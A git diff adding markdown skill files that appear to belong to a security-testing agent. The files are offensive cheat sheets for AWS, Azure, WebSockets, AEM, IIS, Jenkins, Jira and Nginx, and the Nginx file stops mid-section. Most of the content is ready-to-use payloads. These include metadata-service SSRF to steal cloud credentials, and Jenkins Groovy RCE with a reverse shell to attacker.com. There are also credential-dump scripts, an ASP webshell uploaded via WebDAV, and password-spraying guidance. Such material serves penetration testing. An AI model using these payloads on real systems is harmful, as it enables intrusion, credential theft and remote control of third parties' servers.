diff --git a/strix/skills/cloud/aws_security.md b/strix/skills/cloud/aws_security.md new file mode 100644 index 00000000..fff8013a --- /dev/null +++ b/strix/skills/cloud/aws_security.md @@ -0,0 +1,168 @@ +# AWS Security Testing + +## Overview +Security testing for AWS cloud environments including IAM misconfigurations, S3 bucket exposure, metadata service SSRF, and service-specific vulnerabilities. + +## SSRF to AWS Metadata Service +``` +# IMDSv1 (no auth required) +http://169.254.169.254/latest/meta-data/ +http://169.254.169.254/latest/meta-data/iam/security-credentials/ +http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME +http://169.254.169.254/latest/meta-data/ami-id +http://169.254.169.254/latest/meta-data/hostname +http://169.254.169.254/latest/user-data → startup scripts, may contain secrets + +# IMDSv2 (token required - harder to exploit) +# First get token: +PUT http://169.254.169.254/latest/api/token +X-aws-ec2-metadata-token-ttl-seconds: 21600 + +# Then use token: +GET http://169.254.169.254/latest/meta-data/ +X-aws-ec2-metadata-token: TOKEN + +# Alternative metadata IPs (DNS rebinding etc) +http://[::ffff:169.254.169.254]/ → IPv6 format +http://169.254.169.254.xip.io/ +http://0xA9FEA9FE/ → hex +http://2852039166/ → decimal +``` + +## S3 Bucket Testing +``` +# Check if bucket is public +curl https://BUCKET_NAME.s3.amazonaws.com/ +curl https://s3.amazonaws.com/BUCKET_NAME/ + +# List bucket contents +aws s3 ls s3://bucket-name --no-sign-request +aws s3 ls s3://bucket-name + +# Download files +aws s3 cp s3://bucket-name/file.txt . --no-sign-request + +# Test write access +aws s3 cp test.txt s3://bucket-name/test.txt --no-sign-request + +# Bucket name guessing +# company-name, company-prod, company-dev, company-staging +# company-backup, company-logs, company-assets, company-static +# company.com, www.company.com + +# Check ACL (if allowed) +curl https://BUCKET.s3.amazonaws.com/?acl + +# Delete test +aws s3 rm s3://bucket-name/test.txt --no-sign-request +``` + +## IAM Testing +``` +# Test credentials found in JS, env vars, git repos +# AWS key format: AKIA[A-Z0-9]{16} + +# Identify current identity +aws sts get-caller-identity + +# Enumerate permissions +aws iam get-user +aws iam list-attached-user-policies --user-name USERNAME +aws iam list-user-policies --user-name USERNAME +aws iam get-policy-version --policy-arn ARN --version-id v1 + +# Enumerate all roles/users (if permitted) +aws iam list-users +aws iam list-roles + +# Tools: enumerate-iam +python3 enumerate-iam.py --access-key AKIA... --secret-key ... +``` + +## EC2 / Lambda Misconfigurations +``` +# EC2 security group testing +# Look for overly permissive inbound rules +# 0.0.0.0/0 on ports: 22(SSH), 3389(RDP), 5432(PostgreSQL), 3306(MySQL) + +# Lambda function URL - unauthenticated +# https://FUNCTION_ID.lambda-url.REGION.on.aws/ + +# EC2 user data (startup script) via metadata: +curl http://169.254.169.254/latest/user-data +# May contain: passwords, API keys, scripts + +# Snapshot enumeration +aws ec2 describe-snapshots --owner-ids ACCOUNT_ID +# Public snapshots: --filters Name=visibility,Values=public +``` + +## RDS / Database Exposure +``` +# Check for publicly accessible RDS +aws rds describe-db-instances +# Look for: PubliclyAccessible: true + +# Default/weak credentials on exposed databases +# PostgreSQL: postgres:postgres, postgres:password +# MySQL: root:root, root:password, admin:admin +``` + +## Secrets Manager / SSM Parameter Store +``` +# If IAM permissions allow: +aws secretsmanager list-secrets +aws secretsmanager get-secret-value --secret-id SECRET_NAME + +aws ssm get-parameters-by-path --path "/" --with-decryption --recursive +aws ssm get-parameter --name "/db/password" --with-decryption +``` + +## CloudTrail / Logging +``` +# Check if CloudTrail enabled +aws cloudtrail describe-trails +aws cloudtrail get-trail-status --name TRAIL_NAME + +# Disabled logging = actions not recorded +# Look for gaps in logging coverage +``` + +## S3 Pre-Signed URL Abuse +``` +# Pre-signed URLs give temporary access to S3 objects +# Check expiry time +# Test URL manipulation (can you access other objects by changing key?) + +# Generate pre-signed URL: +aws s3 presign s3://bucket/object --expires-in 3600 +``` + +## ECS/EKS Metadata +``` +# ECS container metadata +http://169.254.170.2/v2/credentials/CREDENTIALS_RELATIVE_URI +# CREDENTIALS_RELATIVE_URI from env var AWS_CONTAINER_CREDENTIALS_RELATIVE_URI + +# EKS pod service account +/var/run/secrets/kubernetes.io/serviceaccount/token +``` + +## Testing Methodology +1. Test SSRF → metadata service (169.254.169.254) +2. Discover and test S3 buckets (list, read, write, delete) +3. Look for exposed AWS credentials (JS files, git, env vars) +4. Test credentials with AWS CLI (sts get-caller-identity) +5. Enumerate IAM permissions +6. Check for public RDS instances +7. Test Lambda function URLs +8. Check Secrets Manager and SSM parameters +9. Verify CloudTrail and security monitoring + +## Tools +- `aws cli` — primary tool +- `enumerate-iam` — permission enumeration +- `pacu` — AWS exploitation framework +- `prowler` — AWS security audit +- `s3scanner` — S3 bucket enumeration +- `truffleHog` / `gitleaks` — credential scanning diff --git a/strix/skills/cloud/azure_security.md b/strix/skills/cloud/azure_security.md new file mode 100644 index 00000000..b708f706 --- /dev/null +++ b/strix/skills/cloud/azure_security.md @@ -0,0 +1,166 @@ +# Azure Security Testing + +## Overview +Security testing for Microsoft Azure cloud environments including metadata SSRF, storage account exposure, and Azure AD vulnerabilities. + +## SSRF to Azure Metadata Service +``` +# Azure IMDS (Instance Metadata Service) +http://169.254.169.254/metadata/instance?api-version=2021-02-01 +# Required header: Metadata: true + +# Get access tokens for Azure services +http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ +# Required header: Metadata: true + +# Full metadata endpoint tree: +http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01 +http://169.254.169.254/metadata/instance/network?api-version=2021-02-01 + +# Note: Metadata: true header required +# For SSRF, you need to inject this header +# Check if SSRF allows custom headers +``` + +## Azure Blob Storage +``` +# Public container check +https://ACCOUNT.blob.core.windows.net/CONTAINER?restype=container&comp=list + +# List all blobs +https://ACCOUNT.blob.core.windows.net/CONTAINER/?restype=container&comp=list + +# Direct access to blob +https://ACCOUNT.blob.core.windows.net/CONTAINER/file.txt + +# Account name guessing +# company, companydev, companyprod, companystorage +# company-backup, company-assets, company-static, company-data + +# Tools +az storage blob list --container-name CONTAINER --account-name ACCOUNT --no-sign-request +``` + +## Azure AD / Entra ID +``` +# Tenant ID discovery +https://login.microsoftonline.com/COMPANY.onmicrosoft.com/.well-known/openid-configuration +# "issuer" contains tenant ID + +# User enumeration +# GetCredentialType endpoint: +POST https://login.microsoftonline.com/common/GetCredentialType +{"username":"user@company.com"} +# IfExistsResult: 1 = exists, 0 = doesn't exist + +# Password spraying +# Use tools like MSOLSpray, TeamFiltration +# Common passwords: Company2023!, Company@123, Password1 + +# Check for legacy auth (Basic Auth over legacy protocols) +# SMTP, POP3, IMAP, EWS — often no MFA +``` + +## Azure Function Apps +``` +# Function App URL format: +https://FUNCTION_APP.azurewebsites.net/api/FUNCTION_NAME + +# Authorization levels: +# Anonymous — no key required +# Function — function key required +# Admin — host key required + +# Test without key: +GET https://FUNCTION_APP.azurewebsites.net/api/HTTPTrigger1 + +# SCM (Kudu) console (often at .scm.azurewebsites.net): +https://FUNCTION_APP.scm.azurewebsites.net/ +# May have debug console, deployment options +``` + +## App Service Misconfigurations +``` +# SCM endpoint (Kudu) +https://APPNAME.scm.azurewebsites.net/ +https://APPNAME.scm.azurewebsites.net/DebugConsole → shell access if no auth +https://APPNAME.scm.azurewebsites.net/api/vfs/ → file system + +# Environment variables +https://APPNAME.scm.azurewebsites.net/api/settings + +# FTP credentials (if enabled) +# Check deployment credentials in Kudu +``` + +## Azure Key Vault +``` +# If managed identity token obtained (via SSRF): +# Access Key Vault secrets + +# Get token for Key Vault: +GET http://169.254.169.254/metadata/identity/oauth2/token?resource=https://vault.azure.net +Header: Metadata: true + +# List secrets: +GET https://VAULT_NAME.vault.azure.net/secrets?api-version=7.3 +Authorization: Bearer TOKEN + +# Get secret value: +GET https://VAULT_NAME.vault.azure.net/secrets/SECRET_NAME?api-version=7.3 +``` + +## Azure Service Bus / Event Hub +``` +# Check for exposed connection strings +# Format: Endpoint=sb://NAMESPACE.servicebus.windows.net/;SharedAccessKeyName=... +# In: environment variables, app configs, source code, JS bundles +``` + +## ARM API Access +``` +# Azure Resource Manager API +# Get management token via IMDS SSRF: +resource=https://management.azure.com/ + +# List subscriptions +GET https://management.azure.com/subscriptions?api-version=2020-01-01 +Authorization: Bearer TOKEN + +# List resources in subscription +GET https://management.azure.com/subscriptions/SUBSCRIPTION_ID/resources?api-version=2021-04-01 + +# Get storage account keys +POST https://management.azure.com/subscriptions/SUB/resourceGroups/RG/providers/Microsoft.Storage/storageAccounts/ACCOUNT/listKeys?api-version=2019-06-01 +``` + +## Azure DevOps +``` +# Publicly accessible projects: +https://dev.azure.com/ORGANIZATION/ + +# Check for exposed repos, pipelines, artifacts +# Search for secrets in repos +# Pipeline YAML may contain credentials + +# PAT (Personal Access Token) format: base64 encoded +# Check for leaked PATs in code +``` + +## Testing Methodology +1. Test SSRF → IMDS (169.254.169.254 with Metadata: true) +2. Discover and test Azure Blob Storage containers +3. Test Azure AD user enumeration +4. Check App Service SCM (Kudu) endpoints +5. Test Function App endpoints for anonymous access +6. Look for exposed Azure credentials in JS/git +7. Test Azure DevOps for public repos and leaked secrets +8. If token obtained via IMDS: escalate with ARM API + +## Tools +- `az cli` — primary Azure tool +- `ROADtools` — Azure AD enumeration +- `MSOLSpray` / `TeamFiltration` — Azure AD attacks +- `AADInternals` — Azure AD offensive tools +- `Prowler` — Azure security audit +- `ScoutSuite` — multi-cloud audit diff --git a/strix/skills/protocols/websocket.md b/strix/skills/protocols/websocket.md new file mode 100644 index 00000000..c33feb91 --- /dev/null +++ b/strix/skills/protocols/websocket.md @@ -0,0 +1,165 @@ +# WebSocket Security Testing + +## Overview +Security testing for WebSocket connections including authentication bypass, injection, and hijacking attacks. + +## WebSocket Basics +``` +# WebSocket upgrade request: +GET /chat HTTP/1.1 +Host: target.com +Upgrade: websocket +Connection: Upgrade +Sec-WebSocket-Key: base64encodedkey== +Sec-WebSocket-Version: 13 + +# Server response: +HTTP/1.1 101 Switching Protocols +Upgrade: websocket +Connection: Upgrade +Sec-WebSocket-Accept: computedhash +``` + +## Cross-Site WebSocket Hijacking (CSWSH) +``` +# WebSockets don't enforce SOP by default +# Browser sends cookies automatically on upgrade request +# If server doesn't validate Origin → CSWSH possible + +# Check: does server validate Origin header? +GET /ws HTTP/1.1 +Origin: https://attacker.com +# If 101 response → CSWSH vulnerable + +# PoC (hosted on attacker.com): + + +# Victim visits attacker.com → their authenticated WS connection hijacked +``` + +## Authentication Bypass +``` +# Token in URL vs cookie +# Some WS implementations accept token in URL query param +# Others use cookie (auto-sent by browser) + +# Test: connect without auth token +# Test: connect with invalid/expired token +# Test: connect with another user's token +# Test: token sent only in upgrade, not re-validated per message + +# If auth via Origin only: +Origin: https://target.com → connects with no credentials +``` + +## Injection via WebSocket Messages +``` +# SQLi in WebSocket message +{"action":"search","query":"' OR 1=1--"} + +# NoSQL injection +{"action":"search","filter":{"$where":"1==1"}} + +# XSS via WebSocket (if message displayed in DOM) +{"message":""} +{"username":""} + +# Command injection +{"action":"ping","host":"localhost;id"} + +# SSRF via WebSocket +{"action":"fetch","url":"http://169.254.169.254/"} + +# Path traversal +{"action":"readFile","path":"../../etc/passwd"} +``` + +## WebSocket Message Fuzzing +``` +# Capture a valid WebSocket message +# Modify each field with injection payloads +# Observe server responses + +# Common message formats to test: +# JSON: {"key": "INJECT_HERE"} +# XML: INJECT +# Binary protocols: understand format first + +# Try: +- Sending unexpected message types +- Sending messages out of order +- Sending very large messages (DoS) +- Sending malformed JSON/XML +- Sending null bytes, special characters +``` + +## WebSocket CSRF +``` +# If WS action causes state change AND no CSRF token: +# CSWSH PoC above is effectively a CSRF via WebSocket + +# Send action message after hijack: +ws.send('{"action":"transfer","to":"attacker","amount":1000}') +ws.send('{"action":"change_password","newpass":"hacked"}') +ws.send('{"action":"delete_account"}') +``` + +## Denial of Service +``` +# Connection flood +# Message flood +# Large message DoS + +# WebSocket ping/pong abuse +# Multiple connections from same IP +``` + +## Testing with Burp Suite +``` +# Burp intercepts WebSocket messages in HTTP History +# Can modify messages in real-time via Burp Intercept +# Can replay messages via Burp Repeater +# Add payloads in Intruder for fuzzing + +# Extensions: WebSocket Turbo Intruder, WS-Attacker +``` + +## WebSocket Tunneling +``` +# Some WAFs don't inspect WebSocket messages +# Use WS to tunnel attacks that WAF would block over HTTP +# WebSocket ≠ HTTP → WAF bypass +``` + +## Subprotocol Attacks +``` +# Sec-WebSocket-Protocol header +# Test with different subprotocols +Sec-WebSocket-Protocol: chat, admin, internal, debug + +# If server accepts unknown protocol → may bypass restrictions +``` + +## Testing Methodology +1. Find all WebSocket endpoints +2. Test CSWSH (modify Origin header) +3. Test authentication (no token, invalid token, expired) +4. Capture and analyze message format +5. Test injection in all message fields (SQLi, XSS, SSRF, command injection) +6. Test authorization (can you send admin messages as regular user?) +7. Test out-of-order message handling +8. Test for DoS with large/many messages + +## Tools +- Burp Suite — WebSocket interception and replay +- `wscat` — WebSocket CLI client +- `websocat` — WebSocket CLI tool +- Burp WS Turbo Intruder extension diff --git a/strix/skills/technologies/aem.md b/strix/skills/technologies/aem.md new file mode 100644 index 00000000..4b68237f --- /dev/null +++ b/strix/skills/technologies/aem.md @@ -0,0 +1,143 @@ +# Adobe Experience Manager (AEM) Security Testing + +## Overview +Security testing for Adobe Experience Manager (AEM) CMS including default credentials, authentication bypass, and SSRF vulnerabilities. + +## Reconnaissance +``` +# AEM detection +curl -I https://target.com/libs/granite/core/content/login.html +curl -I https://target.com/system/console +curl -s https://target.com/content/dam/ → AEM DAM (Digital Asset Manager) + +# Version detection +/system/console/bundles.json → OSGi bundles with versions +/etc/clientlibs/granite/clientlibs/foundation/user.min.js +``` + +## Default Credentials +``` +# AEM Author +admin:admin (very common) +author:author +admin:password + +# Felix OSGi Console +admin:admin +/system/console → Apache Felix Web Console +``` + +## Authentication Bypass & Path Tricks +``` +# AEM path suffix bypass +# AEM ignores suffixes after selectors/extensions + +/system/console.json → get JSON response for web console +/system/console.1.json → same with depth 1 + +# Anonymous access to restricted content +# Many AEM instances expose content to anonymous users + +# .children.1.json → list child nodes +/content/dam.children.1.json +/content/dam.infinity.json + +# tidy.json output +/content/users.tidy.1.json +/etc/replication.tidy.json +``` + +## Information Disclosure +``` +# User enumeration +/home/users.1.json → list users +/home/users.infinity.json +/home/users/admin.json + +# Group enumeration +/home/groups.1.json +/home/groups.infinity.json + +# Content exposure +/content.infinity.json → all content +/etc.infinity.json +/var.infinity.json +/apps.infinity.json + +# Configuration exposure +/system/console/configMgr → OSGi config manager (if accessible) +/system/console/jmx → JMX (Java Management Extensions) + +# Query Builder endpoint +GET /bin/querybuilder.json?type=nt:file&path=/etc → list files +GET /bin/querybuilder.json?type=dam:Asset&path=/content/dam +GET /bin/querybuilder.json?fulltext=password&type=nt:unstructured +``` + +## SSRF via AEM +``` +# SSRF via Content Grabber / Link Checker +POST /etc/linkchecker.json +url=http://169.254.169.254/latest/meta-data/ + +# SSRF via GETServlet +GET /bin/wcm/search/gethints.json?query=http://169.254.169.254/ +GET /libs/cq/cloudserviceconfigs/content/jcr:content/par.html?test=http://169.254.169.254/ + +# SSRF via Twitter/OAuth integration +GET /libs/social/integrations/oauth/content/register.html?callbackURL=http://169.254.169.254/ + +# Image Servlet SSRF +GET /bin/wcm/clientrte/image;selector.type=json?src=http://169.254.169.254/ +``` + +## XSS in AEM +``` +# Reflected XSS via error pages +/content/dam/something + +# XSS via selector +/content/page.html/a.html"> + +# XSS in search +/search.html?q= + +# XSS via JSON renderers +/content/page.children.2.json/> +``` + +## AEM SCD (Sling Content Distribution) Abuse +``` +# Distribution agents may allow SSRF +/libs/sling/distribution/ +``` + +## Felix OSGi Console +``` +# If accessible: /system/console +# Install malicious OSGi bundle → RCE + +# Upload .jar bundle: +POST /system/console/bundles +# With malicious OSGi bundle → arbitrary code execution + +# Shell command via console +/system/console/jmx/com.adobe.granite%3Atype%3DRepository/op/backup/java.lang.String +``` + +## Testing Methodology +1. Detect AEM via default paths +2. Test default credentials (admin:admin) +3. Check .infinity.json and .children.json on user/group paths +4. Test Query Builder for data extraction +5. Test SSRF via linkchecker and other built-in servlets +6. Check OSGi console accessibility +7. Test for XSS via selectors and search +8. Look for anonymous content access +9. Check for exposed configuration at /etc/ and /var/ + +## Tools +- `nuclei -t aem/` templates +- `aem-hacker` tool for AEM-specific testing +- Burp Suite for manual testing +- `AEM Security Checklist` resources diff --git a/strix/skills/technologies/iis.md b/strix/skills/technologies/iis.md new file mode 100644 index 00000000..d45e9253 --- /dev/null +++ b/strix/skills/technologies/iis.md @@ -0,0 +1,158 @@ +# IIS (Internet Information Services) Security Testing + +## Overview +Security testing for Microsoft IIS web server including path traversal, authentication bypass, and configuration vulnerabilities. + +## Reconnaissance +``` +# IIS detection +curl -I https://target.com +# Server: Microsoft-IIS/10.0 +# X-Powered-By: ASP.NET +# X-AspNet-Version: 4.x + +# Version specific vulnerabilities +IIS 6.0 → Windows Server 2003 (very old, many CVEs) +IIS 7.x → Windows Server 2008 +IIS 8.x → Windows Server 2012 +IIS 10.0 → Windows Server 2016/2019 + +# WebDAV detection +OPTIONS / HTTP/1.1 → check Allow header for PUT, PROPFIND, etc. +``` + +## Path Traversal & Short Name (8.3) Enumeration +``` +# IIS Tilde (~) vulnerability - enumerate short filenames +# Works on older IIS (<=8.5) or misconfigured newer +GET /a~1 HTTP/1.1 → 404 if no file, 400 if file exists starting with 'a' +GET /ab~1 HTTP/1.1 + +# Tool: IIS Short Name Scanner +java -jar iis_shortname_scanner.jar 2 20 https://target.com/ + +# Discover hidden files/directories: +# If /secret_config_file.xml exists → /secre~1.xml gives 400 +``` + +## Unicode/Double Encoding Path Traversal +``` +# IIS 5.x/6.x specific +# Unicode traversal (CVE-2001-0333) +GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir +GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir +GET /%c0%ae%c0%ae/%c0%ae%c0%ae/winnt/system32/cmd.exe + +# Double encoding +GET /..%255c..%255c..%255cwinnt%255csystem32%255ccmd.exe + +# Modern IIS: less likely but test: +..%2F..%2F..%2Fwindows/win.ini +..%5c..%5c..%5cwindows/win.ini +``` + +## Authentication Bypass + +### NTLM Authentication Bypass +``` +# Test for NTLM authentication +curl -I https://target.com/ +# WWW-Authenticate: NTLM or Negotiate + +# Relay attacks (in network context) +# NTLM reflection: CVE-2019-1040 + +# Test basic auth brute force +hydra -L users.txt -P passwords.txt https://target.com http-get /admin +``` + +### WebDAV Authentication Bypass +``` +# If WebDAV enabled: +OPTIONS /webdav/ HTTP/1.1 +# Check: PROPFIND, PUT, DELETE in Allow header + +# Unauthenticated file write: +PUT /shell.asp HTTP/1.1 +Content-Length: XX +<%eval request("cmd")%> + +# Or MOVE existing file: +COPY /robots.txt HTTP/1.1 +Destination: /shell.asp +``` + +## ASP/ASPX Vulnerabilities +``` +# File extension bypass for code execution +shell.asp → shell.asp;.jpg → shell.asp:.jpg (NTFS alternate data stream) +shell.aspx → shell.aspx. +shell.cer, shell.asa (alternative script extensions IIS may execute) + +# ViewState without MAC → deserialization +# See deserialization.md + +# ASP classic → shell upload if webshell allowed +# ASPX trace enabled: /?trace.axd or /trace.axd +GET /trace.axd → .NET trace information + +# Elmah.axd (error log) +GET /elmah.axd → exposed .NET error logs +``` + +## IIS Buffer Overflow / Known CVEs +``` +# CVE-2021-31166: HTTP Protocol Stack RCE (IIS 10 on Windows 10) +# CVE-2017-7269: WebDAV RCE in IIS 6.0 (EternalBlue adjacent) +# CVE-2015-1635: HTTP.sys RCE (MS15-034) — Range header overflow + +# MS15-034 test: +GET / HTTP/1.1 +Host: target.com +Range: bytes=0-18446744073709551615 +# If "Requested Range Not Satisfiable" → patched +# If crash/different response → vulnerable +``` + +## Sensitive File Exposure +``` +# IIS default files +/iisstart.htm, /welcome.png +/aspnet_client/ +/web.config → ASP.NET configuration (should be blocked) + +# Backup files IIS might expose +/web.config.bak, /web.config~, /.web.config + +# Error pages with version info +# Disabled custom error pages → detailed IIS errors +``` + +## IIS Handler Mapping Attacks +``` +# Some file extensions handled by CGI/scripts +# .shtml → Server-Side Includes +# .asp, .aspx, .ashx, .asmx, .axd → ASP.NET + +# Test if old handlers enabled: +/file.shtm, /file.stm → Server-Side Includes + + +``` + +## Testing Methodology +1. Identify IIS version via headers +2. Test tilde enumeration (8.3 short names) +3. Test WebDAV (OPTIONS request) +4. Check for exposed .NET files (trace.axd, elmah.axd) +5. Test path traversal via encoding +6. Check web.config accessibility +7. Test for known CVEs based on version +8. Test authentication endpoints (NTLM, forms) +9. Test file upload restrictions + +## Tools +- `IIS Short Name Scanner` +- `nuclei -t iis/` templates +- `nikto` for common misconfigurations +- Burp Suite for manual testing diff --git a/strix/skills/technologies/jenkins.md b/strix/skills/technologies/jenkins.md new file mode 100644 index 00000000..56f1c570 --- /dev/null +++ b/strix/skills/technologies/jenkins.md @@ -0,0 +1,161 @@ +# Jenkins Security Testing + +## Overview +Security testing for Jenkins CI/CD installations including authentication bypass, RCE, and credential exposure. + +## Reconnaissance +``` +# Default Jenkins ports +:8080 (default), :443, :80 + +# Version detection +GET / +# Look for: "Jenkins ver. X.Y.Z" in response + +# API endpoint +GET /api/json?pretty=true → list jobs, views +GET /api/xml + +# Check login page +/login +/j_spring_security_check +``` + +## Authentication Bypass + +### No Authentication (Anonymous Access) +``` +# Try accessing without login: +GET /api/json?pretty=true +GET /asynchPeople/api/json → list users +GET /computer/api/json → list nodes + +# If Jenkins allows anonymous read → information disclosure +# If anonymous has build trigger → RCE +``` + +### Default Credentials +``` +admin:admin, admin:password, jenkins:jenkins +# Check for setup wizard completion (first-run) +GET /setupWizard/ → if accessible, initial admin password may be shown + +# Initial admin password location: +/var/jenkins_home/secrets/initialAdminPassword +/var/lib/jenkins/secrets/initialAdminPassword +``` + +### Script Console (Groovy RCE) +``` +# If authenticated (or auth bypass): +# Navigate to: /script → Groovy Script Console + +# RCE via Groovy: +println "id".execute().text +println "cat /etc/passwd".execute().text +println ["bash", "-c", "bash -i >& /dev/tcp/attacker.com/4444 0>&1"].execute().text + +# List files: +println new File('/').list() + +# Read file: +println new File('/var/jenkins_home/secrets/initialAdminPassword').text + +# Credentials dump: +import com.cloudbees.plugins.credentials.* +def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials( + com.cloudbees.plugins.credentials.common.StandardUsernameCredentials.class, + Jenkins.instance, null, null) +creds.each { println it.username + ":" + it.password } +``` + +## Unauthenticated RCE (CVE-2019-1003000 Series) +``` +# Check version against CVE database +# Jenkins < 2.138 has multiple critical RCEs + +# CVE-2019-1003000: Script Security bypass +# CVE-2018-1000861: Remote code execution +# CVE-2024-23897: Arbitrary file read via CLI +``` + +## Arbitrary File Read (CVE-2024-23897) +``` +# Jenkins CLI allows file read via @file argument +# @/path/to/file in command argument reads local file + +java -jar jenkins-cli.jar -s http://target:8080/ help "@/var/jenkins_home/secrets/initialAdminPassword" +java -jar jenkins-cli.jar -s http://target:8080/ help "@/etc/passwd" +java -jar jenkins-cli.jar -s http://target:8080/ connect-node "@/etc/passwd" + +# Via HTTP (no CLI jar needed): +POST /cli?remoting=false HTTP/1.1 +# Body contains CLI command with @file reference +``` + +## Credential Exposure +``` +# credentials.xml contains encrypted credentials +GET /credentials/store/system/domain/_/credential/CRED_ID/config.xml +# May expose encrypted passwords, SSH keys, API tokens + +# Via Groovy console: +import com.cloudbees.plugins.credentials.* +def resolver = Jenkins.instance.getDescriptorByType( + com.cloudbees.jenkins.plugins.awscredentials.AWSCredentialsImpl.DescriptorImpl) +``` + +## Pipeline/Job Injection +``` +# If can create/modify jobs: +# Pipeline script RCE +pipeline { + agent any + stages { + stage('Test') { + steps { + sh 'curl attacker.com/`id`' + } + } + } +} + +# Or via Freestyle project → Execute Shell: +bash -i >& /dev/tcp/attacker.com/4444 0>&1 +``` + +## SSRF via Jenkins +``` +# Jenkins has many external service integrations +# Git plugin: can make requests to internal services +# Webhook triggers: SSRF via callback URLs +# Update center URL: if configurable +``` + +## Jenkins API Abuse +``` +# Trigger builds via API (if authenticated or anon allowed) +POST /job/JOB_NAME/build +POST /job/JOB_NAME/buildWithParameters?PARAM=VALUE + +# With crumb (CSRF token): +GET /crumbIssuer/api/json → get crumb +POST /job/JOB_NAME/build -H "Jenkins-Crumb: CRUMB" +``` + +## Testing Methodology +1. Detect Jenkins and identify version +2. Test anonymous access (/api/json, /asynchPeople/, /computer/) +3. Test default credentials +4. Check for CVE-2024-23897 (arbitrary file read) +5. If auth access: test Script Console +6. Check exposed credentials.xml +7. Test for unauthenticated build triggering +8. Check SSRF via build configurations +9. Review job pipeline scripts for injection + +## Tools +- `nuclei -t jenkins/` templates +- Jenkins CLI jar for CVE-2024-23897 +- Burp Suite for auth testing +- Metasploit Jenkins modules diff --git a/strix/skills/technologies/jira.md b/strix/skills/technologies/jira.md new file mode 100644 index 00000000..18f5dc30 --- /dev/null +++ b/strix/skills/technologies/jira.md @@ -0,0 +1,158 @@ +# Jira Security Testing + +## Overview +Security testing for Atlassian Jira instances including authentication, information disclosure, and SSRF vulnerabilities. + +## Reconnaissance +``` +# Version detection +GET /rest/api/2/serverInfo → Jira version, baseUrl +GET /rest/api/latest/serverInfo + +# User enumeration +GET /rest/api/2/user?username=admin +GET /rest/api/2/user/search?username= + +# Project enumeration +GET /rest/api/2/project + +# Check if anonymous access enabled +GET /rest/api/2/myself → if returns user info without auth +``` + +## Authentication +``` +# Default Jira login +/login.jsp +/secure/Dashboard.jspa + +# API auth +Authorization: Basic base64(user:pass) +Authorization: Bearer TOKEN + +# Brute force API +POST /rest/auth/1/session +{"username":"admin","password":"admin"} +``` + +## Information Disclosure + +### Exposed API Endpoints +``` +# List all projects (may expose internal projects) +GET /rest/api/2/project +GET /rest/api/2/project?expand=description + +# List users (often publicly accessible) +GET /rest/api/2/user/search?username= +GET /rest/api/2/user/search?query= + +# List issues in project (may expose sensitive tickets) +GET /rest/api/2/search?jql=project=PROJ + +# List boards +GET /rest/agile/1.0/board + +# Dashboard gadgets +GET /rest/gadget/1.0/gadgetResource +``` + +### Global Search +``` +# JQL (Jira Query Language) for searching +GET /rest/api/2/search?jql=text~"password" +GET /rest/api/2/search?jql=text~"secret" +GET /rest/api/2/search?jql=text~"api_key" +GET /rest/api/2/search?jql=text~"credentials" + +# Search for specific issue types +GET /rest/api/2/search?jql=issuetype=Bug+AND+text~"SQL+injection" +``` + +## SSRF via Jira + +### SSRF via Webhooks +``` +# If can create webhooks: +POST /rest/webhooks/1.0/webhook +{"name":"test","url":"http://169.254.169.254/latest/meta-data/","jqlFilter":"","events":["jira:issue_created"]} + +# Trigger webhook by creating an issue +``` + +### SSRF via Issue Attachments +``` +# Remote links in issues +POST /rest/api/2/issue/ISSUE-1/remotelink +{"object":{"url":"http://internal-service/","title":"Test"}} +# Server may fetch URL to generate preview +``` + +### SSRF via Gadgets +``` +# Jira dashboard gadgets make server-side requests +# Custom gadget with URL → potential SSRF +``` + +## CVE Vulnerabilities +``` +# CVE-2022-0540: Jira < 8.13.18 — authentication bypass +# CVE-2021-26086: Jira path traversal +# CVE-2020-14179: Jira information disclosure +# CVE-2019-8449: User enumeration in Jira +# CVE-2019-8451: SSRF via the /plugins/servlet/gadgets/makeRequest endpoint + +# Check makeRequest endpoint: +GET /plugins/servlet/gadgets/makeRequest?url=http://169.254.169.254/latest/meta-data/ + +# Check confluence-user-management endpoint (older versions) +GET /rest/api/2/user?username=admin +``` + +## Jira SSRF via Service Management +``` +# Jira Service Management (formerly Service Desk) +# Customer portal may expose additional attack surface + +# SSRF via customer request attachments +# Webhooks in automation rules +``` + +## Privilege Escalation +``` +# User role manipulation +PUT /rest/api/2/user/role +# Check if user can modify own role/permissions + +# Group membership +GET /rest/api/2/group/member?groupname=jira-administrators + +# API token abuse +POST /rest/auth/1/session # with stolen/brute-forced credentials +``` + +## Plugin Vulnerabilities +``` +# Atlassian Marketplace plugins often have vulnerabilities +# Third-party plugins may have SQLi, XSS, SSRF +# Check installed plugins: +GET /rest/plugins/1.0/ + +# Common vulnerable plugins: ScriptRunner, JMWE, EazyBI +``` + +## Testing Methodology +1. Check version via /rest/api/2/serverInfo +2. Test anonymous API access +3. Enumerate users via user search API +4. Check makeRequest SSRF endpoint +5. Test JQL injection in search queries +6. Look for sensitive data via global search +7. Test webhook creation for SSRF +8. Check for CVE-specific vulnerabilities based on version +9. Test authentication endpoints + +## Tools +- `nuclei -t jira/` templates +- Burp Suite for API testing +- Custom scripts for JQL injection testing diff --git a/strix/skills/technologies/nginx.md b/strix/skills/technologies/nginx.md new file mode 100644 index 00000000..8c9be55e --- /dev/null +++ b/strix/skills/technologies/nginx.md @@ -0,0 +1,147 @@ +# Nginx Security Testing + +## Overview +Security misconfigurations and vulnerabilities in Nginx web server deployments. + +## Common Misconfigurations + +### Path Traversal via Alias +``` +# Vulnerable nginx config: +location /static { + alias /var/www/static/; +} + +# If missing trailing slash in location: +GET /static../etc/passwd +# Nginx resolves: /var/www/static/../etc/passwd → /var/www/etc/passwd +# Or: /static../secret → /var/www/staticc/../secret = traversal + +# Test: +curl https://target.com/static../etc/passwd +curl https://target.com/static../etc/nginx/nginx.conf +``` + +### Off-by-Slash +``` +# If location /api { proxy_pass http://backend/api; } +# Missing trailing slash creates off-by-slash + +# Test: +GET /api../internal-endpoint +GET /api../admin +``` + +### Merge Slashes +``` +# Default: merge_slashes on (// → /) +# If disabled: merge_slashes off +# Path traversal possible with double slashes +GET //etc/passwd +GET /./etc/passwd +GET /%2f%2fetc/passwd +``` + +### Internal Location Exposure +``` +# Nginx internal locations +location /internal { + internal; # Only accessible from Nginx internals +} +# Test if directly accessible: GET /internal → should return 404 